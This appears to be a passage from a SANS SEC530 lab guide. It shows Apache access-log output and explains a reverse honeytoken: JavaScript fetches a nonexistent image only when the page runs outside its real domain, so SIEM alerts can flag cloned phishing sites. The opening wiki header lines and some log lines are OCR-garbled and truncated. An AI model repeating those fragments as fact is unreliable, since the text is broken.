Welcome to the SANS SEC530 Wiki -------—-- ![Cyber Defense](CyberDefense_logo.jpg) #
defense information primarily around Security Information Event Management (SIEM) systg
**after-class** value of the course material. It is also designed as a method to give back to tl
Reference guides - Information about 530 instructors - Electronic Copies of the Lab Guides {
have the capability of murning on automatic wiki/lab updating. Recommendations - PLEASE
features you may not know exist without checking [out this guide](/Resources/SmartPlayer.n

Switching back to the first terminal that is tailing access.log, you will see the following output.

127.0.0.1 - - [16/Mar/2018:16:18:53 -0400] "GET
/SEC530 Phishing Detection.jpg?l=file:///home/student/security530/index
.md.html&amp; r= HTTP/1.1" 404 513 "-" "Mozilla/5.0 (X11; Linux x86_ 64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162
Safari/537.36"
::1 - - [16/Mar/2018:16:19:09 -0400] "HEAD / HTTP/1.1"™ 200 314 "-"
"Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/65.0.3325.162 Safari/537.36"
::1 - - [16/Mar/2018:16:19:09 -0400] "HEAD / HTTP/1.1" 200 314 "-"
"Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/65.0.3325.162 Safari/537.36"
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::1 - - [16/Mar/2018:16:19:09 -0400] "HEAD / HTTP/1.1" 200 314 "-"
"Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/65.0.3325.162 Safari/537.36"

This time the access log shows requests against the following files:

/
/SEC530_Phishing_Detection.jpg

Effectively, SEC530_Phishing_Detection.jpg is a reverse honeytoken. The file does not actually exist and
attempts to access it will only occur if someone attempts to access the site not using the hostname
expected. The JavaScript added early only attempts to load the SEC530_Phishing_Detection.jpg when the
document.domain does not match the website's expected address.

Note: Initially the site was loaded using http://security530/#!index.md. Because security530 matches
the document.domain, no attempt to access SEC530_Phishing_Detection.jpg was made. Then when the
site was cloned, the page was loaded using file:///home/student/security530/index.html. In this case,
the document.domain was not set to security530, so JavaScript attempted to load
SEC530_Phishing_Detection.jpg directly from http://security530/SEC530_Phishing_Detection.jpg which
would cause the Apache access.log to see the request.

Operationalizing this technique is simple. Either a local script can continuously monitor access.log, or a
SIEM can monitor the logs as they are ingested. Both solutions just need to look for
SEC530_Phishing_Detection.jpg and alert when it is seen.

Lab Conclusion

In this lab, you have used multiple protection strategies to secure an Apache web server. By doing so, you can:

Prevent automated tools from being successful

Increase detection capabilities through redirection or reverse honeytokens
Gain early detection of adversary attacks

Detect cloned site access of an organization's website or websites

Lab 5.3 is now complete!
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